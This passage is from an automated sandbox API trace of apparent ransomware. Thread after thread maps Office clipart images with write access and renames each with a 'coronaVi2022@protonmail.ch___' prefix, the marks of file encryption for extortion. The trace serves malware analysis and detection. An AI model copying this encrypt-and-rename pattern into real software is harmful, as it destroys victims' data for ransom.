	[0099.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315612.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0315612.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe08
	[0099.901] GetFileSizeEx (in: hFile=0xe08, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=16954) returned 1
	[0099.902] CreateFileMappingA (hFile=0xe08, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4243, lpName=0x0) returned 0xe0c
	[0099.902] MapViewOfFile (hFileMappingObject=0xe0c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0099.906] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0099.906] CloseHandle (hObject=0xe0c) returned 1
	[0099.906] GetCurrentThreadId () returned 0x1be0
	[0099.906] FlushFileBuffers (hFile=0xe08) returned 1
	[0099.911] CloseHandle (hObject=0xe08) returned 1
	[0099.911] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0315612.jpg") returned 97
	[0099.911] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315612.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0315612.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0315612.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0315612.jpg")) returned 1
	[0099.914] free (_Block=0x51f0070) 
	[0099.914] RtlExitUserThread (Status=0x0) 

Thread:
	id = 726
	os_tid = 0x1be4

	[0099.910] _alloca_probe () returned 0x40328a
	[0099.910] GetCurrentThreadId () returned 0x1be4
	[0099.910] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0321179.jpg", dwFileAttributes=0x80) returned 1
	[0099.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0321179.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0321179.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe10
	[0099.913] GetFileSizeEx (in: hFile=0xe10, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=9431) returned 1
	[0099.913] CreateFileMappingA (hFile=0xe10, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x24dd, lpName=0x0) returned 0xe14
	[0099.913] MapViewOfFile (hFileMappingObject=0xe14, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0099.917] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0099.917] CloseHandle (hObject=0xe14) returned 1
	[0099.917] GetCurrentThreadId () returned 0x1be4
	[0099.917] FlushFileBuffers (hFile=0xe10) returned 1
	[0099.920] CloseHandle (hObject=0xe10) returned 1
	[0099.920] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0321179.jpg") returned 97
	[0099.920] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0321179.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0321179.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0321179.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0321179.jpg")) returned 1
	[0099.921] free (_Block=0x51f80b0) 
	[0099.921] RtlExitUserThread (Status=0x0) 

Thread:
	id = 727
	os_tid = 0x1be8

	[0099.974] _alloca_probe () returned 0x40328a
	[0099.974] GetCurrentThreadId () returned 0x1be8
	[0099.975] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0337280.jpg", dwFileAttributes=0x80) returned 1
	[0099.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0337280.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0337280.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe10
	[0099.976] GetFileSizeEx (in: hFile=0xe10, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=12896) returned 1
	[0099.976] CreateFileMappingA (hFile=0xe10, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3260, lpName=0x0) returned 0xe14
	[0099.976] MapViewOfFile (hFileMappingObject=0xe14, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0099.980] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0099.980] CloseHandle (hObject=0xe14) returned 1
	[0099.980] GetCurrentThreadId () returned 0x1be8
	[0099.980] FlushFileBuffers (hFile=0xe10) returned 1
	[0099.987] CloseHandle (hObject=0xe10) returned 1
	[0099.987] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0337280.jpg") returned 97
	[0099.987] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0337280.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0337280.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0337280.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0337280.jpg")) returned 1
	[0099.988] free (_Block=0x51f60a0) 
	[0099.988] RtlExitUserThread (Status=0x0) 

Thread:
	id = 728
	os_tid = 0x1bec

	[0100.032] _alloca_probe () returned 0x40328a
	[0100.033] GetCurrentThreadId () returned 0x1bec
	[0100.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341328.jpg", dwFileAttributes=0x80) returned 1
	[0100.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341328.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341328.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe14
	[0100.035] GetFileSizeEx (in: hFile=0xe14, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=10196) returned 1
	[0100.035] CreateFileMappingA (hFile=0xe14, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x27d7, lpName=0x0) returned 0xe08
	[0100.035] MapViewOfFile (hFileMappingObject=0xe08, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0100.038] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0100.038] CloseHandle (hObject=0xe08) returned 1
	[0100.038] GetCurrentThreadId () returned 0x1bec
	[0100.038] FlushFileBuffers (hFile=0xe14) returned 1
	[0100.041] CloseHandle (hObject=0xe14) returned 1
	[0100.041] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341328.jpg") returned 97
	[0100.041] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341328.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341328.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341328.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0341328.jpg")) returned 1
	[0100.042] free (_Block=0x51f0070) 
	[0100.042] RtlExitUserThread (Status=0x0) 

Thread:
	id = 729
	os_tid = 0x1bf0

	[0100.043] _alloca_probe () returned 0x40328a
	[0100.043] GetCurrentThreadId () returned 0x1bf0
	[0100.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341344.jpg", dwFileAttributes=0x80) returned 1
	[0100.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341344.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341344.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe08
	[0100.044] GetFileSizeEx (in: hFile=0xe08, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=11485) returned 1
	[0100.044] CreateFileMappingA (hFile=0xe08, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ce9, lpName=0x0) returned 0xe18
	[0100.044] MapViewOfFile (hFileMappingObject=0xe18, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0100.047] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0100.048] CloseHandle (hObject=0xe18) returned 1
	[0100.048] GetCurrentThreadId () returned 0x1bf0
	[0100.048] FlushFileBuffers (hFile=0xe08) returned 1
	[0100.050] CloseHandle (hObject=0xe08) returned 1
	[0100.050] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341344.jpg") returned 97
	[0100.050] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341344.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341344.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341344.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0341344.jpg")) returned 1
	[0100.051] free (_Block=0x51f5098) 
	[0100.051] RtlExitUserThread (Status=0x0) 

Thread:
	id = 730
	os_tid = 0x1bf4

	[0100.053] _alloca_probe () returned 0x40328a
	[0100.053] GetCurrentThreadId () returned 0x1bf4
	[0100.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341439.jpg", dwFileAttributes=0x80) returned 1
	[0100.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341439.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341439.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe18
	[0100.054] GetFileSizeEx (in: hFile=0xe18, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=19565) returned 1
	[0100.054] CreateFileMappingA (hFile=0xe18, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4c79, lpName=0x0) returned 0xe1c
	[0100.054] MapViewOfFile (hFileMappingObject=0xe1c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0100.059] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0100.059] CloseHandle (hObject=0xe1c) returned 1
	[0100.059] GetCurrentThreadId () returned 0x1bf4
	[0100.059] FlushFileBuffers (hFile=0xe18) returned 1
	[0100.087] CloseHandle (hObject=0xe18) returned 1
	[0100.087] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341439.jpg") returned 97
	[0100.087] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341439.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341439.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341439.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0341439.jpg")) returned 1
	[0100.109] free (_Block=0x51f60a0) 
	[0100.109] RtlExitUserThread (Status=0x0) 

Thread:
	id = 731
	os_tid = 0x1bf8

	[0100.061] _alloca_probe () returned 0x40328a
	[0100.062] GetCurrentThreadId () returned 0x1bf8
	[0100.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341447.jpg", dwFileAttributes=0x80) returned 1
	[0100.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341447.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341447.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe20
	[0100.063] GetFileSizeEx (in: hFile=0xe20, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=19160) returned 1
	[0100.063] CreateFileMappingA (hFile=0xe20, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4adf, lpName=0x0) returned 0xe24
	[0100.063] MapViewOfFile (hFileMappingObject=0xe24, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0100.080] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0100.080] CloseHandle (hObject=0xe24) returned 1
	[0100.081] GetCurrentThreadId () returned 0x1bf8
	[0100.081] FlushFileBuffers (hFile=0xe20) returned 1
	[0100.090] CloseHandle (hObject=0xe20) returned 1
	[0100.092] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341447.jpg") returned 97
	[0100.092] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341447.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341447.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341447.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0341447.jpg")) returned 1
	[0100.114] free (_Block=0x51f3088) 
	[0100.114] RtlExitUserThread (Status=0x0) 

Thread:
	id = 732
	os_tid = 0x1bfc

	[0100.066] _alloca_probe () returned 0x40328a
	[0100.066] GetCurrentThreadId () returned 0x1bfc
	[0100.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341448.jpg", dwFileAttributes=0x80) returned 1
	[0100.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341448.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341448.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe2c
	[0100.067] GetFileSizeEx (in: hFile=0xe2c, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=21187) returned 1
	[0100.067] CreateFileMappingA (hFile=0xe2c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x52c5, lpName=0x0) returned 0xe30
	[0100.067] MapViewOfFile (hFileMappingObject=0xe30, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2370000
	[0100.074] UnmapViewOfFile (lpBaseAddress=0x2370000) returned 1
	[0100.075] CloseHandle (hObject=0xe30) returned 1
	[0100.075] GetCurrentThreadId () returned 0x1bfc
	[0100.075] FlushFileBuffers (hFile=0xe2c) returned 1
	[0100.089] CloseHandle (hObject=0xe2c) returned 1
	[0100.091] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341448.jpg") returned 97
	[0100.091] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341448.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341448.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341448.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0341448.jpg")) returned 1
	[0100.113] free (_Block=0x51f0070) 
	[0100.113] RtlExitUserThread (Status=0x0) 

Thread:
	id = 733
	os_tid = 0x130c

	[0100.068] _alloca_probe () returned 0x40328a
	[0100.069] GetCurrentThreadId () returned 0x130c
	[0100.070] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341455.jpg", dwFileAttributes=0x80) returned 1
	[0100.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341455.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341455.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe24
	[0100.089] GetFileSizeEx (in: hFile=0xe24, lpFileSize=0x358ff5c | out: lpFileSize=0x358ff5c*=29783) returned 1
	[0100.090] CreateFileMappingA (hFile=0xe24, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x745d, lpName=0x0) returned 0xe2c
	[0100.091] MapViewOfFile (hFileMappingObject=0xe2c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0100.098] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0100.106] CloseHandle (hObject=0xe2c) returned 1
	[0100.106] GetCurrentThreadId () returned 0x130c
	[0100.106] FlushFileBuffers (hFile=0xe24) returned 1
	[0100.110] CloseHandle (hObject=0xe24) returned 1
	[0100.111] _swprintf (in: param_1=0x3589f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341455.jpg") returned 97
	[0100.111] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341455.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341455.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341455.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0341455.jpg")) returned 1
	[0100.115] free (_Block=0x51f90b8) 
	[0100.115] RtlExitUserThread (Status=0x0) 

Thread:
	id = 734
	os_tid = 0x1178

	[0100.165] _alloca_probe () returned 0x40328a
	[0100.166] GetCurrentThreadId () returned 0x1178
	[0100.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341475.jpg", dwFileAttributes=0x80) returned 1
	[0100.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341475.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341475.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe30
	[0100.167] GetFileSizeEx (in: hFile=0xe30, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=43490) returned 1
	[0100.167] CreateFileMappingA (hFile=0xe30, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa9e3, lpName=0x0) returned 0xe20
	[0100.167] MapViewOfFile (hFileMappingObject=0xe20, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0100.180] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0100.181] CloseHandle (hObject=0xe20) returned 1
	[0100.181] GetCurrentThreadId () returned 0x1178
	[0100.181] FlushFileBuffers (hFile=0xe30) returned 1
	[0100.189] CloseHandle (hObject=0xe30) returned 1
	[0100.189] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341475.jpg") returned 97
	[0100.189] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341475.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341475.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341475.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0341475.jpg")) returned 1
	[0100.190] free (_Block=0x51f4090) 
	[0100.190] RtlExitUserThread (Status=0x0) 

Thread:
	id = 735
	os_tid = 0x1314

	[0100.176] _alloca_probe () returned 0x40328a
	[0100.176] GetCurrentThreadId () returned 0x1314
	[0100.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341499.jpg", dwFileAttributes=0x80) returned 1
	[0100.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341499.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341499.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe2c
	[0100.177] GetFileSizeEx (in: hFile=0xe2c, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=16099) returned 1
	[0100.177] CreateFileMappingA (hFile=0xe2c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3ee5, lpName=0x0) returned 0xe38
	[0100.177] MapViewOfFile (hFileMappingObject=0xe38, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2370000
	[0100.186] UnmapViewOfFile (lpBaseAddress=0x2370000) returned 1
	[0100.186] CloseHandle (hObject=0xe38) returned 1
	[0100.186] GetCurrentThreadId () returned 0x1314
	[0100.186] FlushFileBuffers (hFile=0xe2c) returned 1
	[0100.191] CloseHandle (hObject=0xe2c) returned 1
	[0100.191] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341499.jpg") returned 97
	[0100.191] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341499.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341499.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341499.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0341499.jpg")) returned 1
	[0100.192] free (_Block=0x51f0070) 
	[0100.192] RtlExitUserThread (Status=0x0) 

Thread:
	id = 736
	os_tid = 0xd34

	[0100.195] _alloca_probe () returned 0x40328a
	[0100.195] GetCurrentThreadId () returned 0xd34
	[0100.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341534.jpg", dwFileAttributes=0x80) returned 1
	[0100.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341534.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341534.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe30
	[0100.196] GetFileSizeEx (in: hFile=0xe30, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=8074) returned 1
	[0100.196] CreateFileMappingA (hFile=0xe30, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f93, lpName=0x0) returned 0xe38
	[0100.196] MapViewOfFile (hFileMappingObject=0xe38, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0100.199] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0100.199] CloseHandle (hObject=0xe38) returned 1
	[0100.199] GetCurrentThreadId () returned 0xd34
	[0100.199] FlushFileBuffers (hFile=0xe30) returned 1
	[0100.201] CloseHandle (hObject=0xe30) returned 1
	[0100.202] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341534.jpg") returned 97
	[0100.202] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341534.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341534.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341534.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0341534.jpg")) returned 1
	[0100.203] free (_Block=0x51f0070) 
	[0100.203] RtlExitUserThread (Status=0x0) 

Thread:
	id = 737
	os_tid = 0xdd4

	[0100.207] _alloca_probe () returned 0x40328a
	[0100.207] GetCurrentThreadId () returned 0xdd4
	[0100.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341551.jpg", dwFileAttributes=0x80) returned 1
	[0100.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341551.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341551.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe38
	[0100.208] GetFileSizeEx (in: hFile=0xe38, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=23126) returned 1
	[0100.208] CreateFileMappingA (hFile=0xe38, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5a5b, lpName=0x0) returned 0xe20
	[0100.208] MapViewOfFile (hFileMappingObject=0xe20, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
